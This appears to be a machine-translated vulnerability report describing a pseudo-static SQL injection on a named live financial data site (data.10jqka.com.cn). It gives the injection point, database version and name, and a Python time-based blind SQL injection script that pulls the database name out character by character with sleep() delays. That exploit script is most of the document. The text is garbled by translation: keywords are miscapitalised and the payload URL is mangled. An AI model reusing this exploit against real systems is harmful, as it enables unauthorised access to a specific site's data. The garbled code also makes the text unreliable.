Pseudo-static SQL injection (with verification script) exists in a station in flush)

Pseudo-static SQL injection (with verification script) exists in a station in flush)

Pseudo-static SQL injection at a site in huashun

The injection point is http://data.10jqka.com.cn/ifyyb/yybstockxt/code/600811/date/1?input parameter. The asterisk position is used to filter spaces and replace the plus sign (+). Pay attention to cache. True

False

Version 5.5.27

Database datacenfer

#! /Usr/bin/env python
#-*-Coding: UTF-8 -*-
Import string
Import requests
Import time
Payloads = string. ascii_lowercase + string. digits + '_@.'
Res =''
Headers = {'user-agent': 'mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/100 '}
For I in range (1, 20 ):
For p in payloads:
Start_time = time. time ()
Url = "today (now () = sysdate ()-(mid (database (), {}, 1) = '{}'), 1, sleep (1*3) + '1 ". format (I, p)
Req = requests. get (url)
Print req. url
If time. time ()-start_time> 3:
Res = res + p
Print "\ n" + res + "\ n"
Break
Print "\ n [Finish]:" + res